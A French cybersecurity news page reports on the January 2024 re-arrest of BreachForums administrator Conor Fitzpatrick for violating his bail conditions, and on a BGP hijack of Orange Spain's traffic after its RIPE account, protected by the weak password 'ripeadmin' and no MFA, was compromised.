Nouvelle arrestation pour celui que l'on surnomme Pompompurin et qui est l'administrateur du célèbre forum de hacking BreachForums ! Pourquoi ? Et bien parce qu'a n'a pas respecté les règles associées à sa liberté provisoire en utilisant un ordinateur non surveillé et une connexion VPN.
Le 15 mars 2023, Conor Fitzpatrick a été arrêté pour la première fois par le FBI, et il avait affirmé qu'il était bien connu sous le nom de Pompompurin, c'est-à-dire l'administrateur du forum BreachForums. Il avait lancé le site BreachForums en réponse à la fermeture du forum RaidForums, un an plus tôt.
En tant qu'administrateur de BreachForum, il jouait un rôle clé dans les transactions puisqu'il s'assurait que l'acheteur de données piratées allait bien obtenir le jeu de données promis par le vendeur. Autrement dit, il s'assurait qu'il ne s'agissait pas d'une fausse petite annonce...
De ce fait, Pompomurin était un membre important présent depuis plusieurs années sur la scène cybercriminelle...Pourtant, il avait été libéré seulement un jour après son arrestation en payant une caution de 300 000 dollars, et à condition de respecter diverses règles. Par exemple, il avait l'interdiction de se connecter à BreachForums ou d'avoir des contacts avec des membres de ce forum.
Par la suite, le tribunal a fait ajouter de nouvelles conditions supplémentaires qu'il doit respecter afin de continuer à bénéficier de cette liberté provisoire. Dans ce document officiel, nous pouvons trouver les différentes règles.
Conor Fitzpatrick a le droit d'utiliser un ordinateur ou d'accéder à Internet uniquement si l'appareil est équipé d'un logiciel de surveillance installé par les autorités américaines. "Le logiciel peut restreindre et/ou enregistrer toute activité sur l'ordinateur, y compris la saisie de frappes, d'informations sur les applications, de l'historique de l'utilisation d'Internet, de la correspondance par courrier électronique et des conversations par chat.", précise le document. Sur Internet, il y a certaines catégories de site qu'il n'a pas le droit de visiter. Par ailleurs, il a l'interdiction de chercher à masquer son identité, notamment en utilisant un VPN, le réseau Tor ou encore des proxys.
Toutefois, Conor Fitzpatrick a joué avec le feu et il s'est brulé : il a été arrêté le 2 janvier 2024 pour avoir violé les conditions de sa liberté provisoire. Désormais, Fitzpatrick est placé en détention et il y restera jusqu'à ce qu'il soit présenté à un tribunal du district oriental de Virginie.
La nouvelle année commence mal chez Orange Espagne : mercredi 3 janvier 2024, le trafic Internet de l'opérateur a été fortement perturbé suite à une attaque informatique ! En cause : un mot de passe beaucoup trop faible ! Voici ce qu'il faut savoir !
Un pirate informatique surnommé "Snow" est parvenu à compromettre le compte RIPE d'Orange Espagne, ce qui lui a permis de perturber les activités de l'un des principaux opérateurs du pays. Pour ceux, qui, comme moi, ignorent ce qu'est un compte RIPE, voici la définition proposée par Wikipédia : "Le RIPE NCC (Réseaux IP Européens - Network Coordination Centre) est un registre régional d'adresses IP. Il dessert l'Europe et une partie de l'Asie, notamment au Moyen-Orient."
Ainsi, pendant plusieurs heures, l'accès à Internet a été perturbé dans toute l'Espagne puisque le pirate a détourné le trafic BGP de l'opérateur (empêchant une partie du trafic d'aboutir). Pour rappel, le BGP est un protocole de routage utilisé pour Internet, ce qui en fait un protocole très utilisé par les opérateurs.
Le pirate à l'origine de cette cyberattaque a publié sur Twitter plusieurs informations pour en dire plus sur son modus operandi. Nous savons qu'il a utilisé un malware de type "infostealer" pour voler les identifiants d'un salarié d'Orange Espagne. Mais bon, il aurait presque pu s'en passer, car le mot de passe du compte administrateur donnant accès au compte RIPE est particulièrement ridicule : "ripeadmin".
C'est clairement insuffisant, et l'accès à ce compte n'était pas protégé par du MFA. D'ailleurs, dans la foulée, RIPE NCC a publié un message pour rappeler l'importance d'activer le MFA sur les comptes d'accès : "Nous encourageons les titulaires de comptes à mettre à jour leurs mots de passe et à activer l'authentification multifactorielle pour leur compte."
Même si nous ignorons l'impact réel de cette attaque et ses conséquences, Orange Espagne tient à rassurer ses clients : "Nous confirmons qu'en aucun cas les données de nos clients n'ont été compromises, seule la navigation de certains services a été affectée.", peut-on lire sur X.
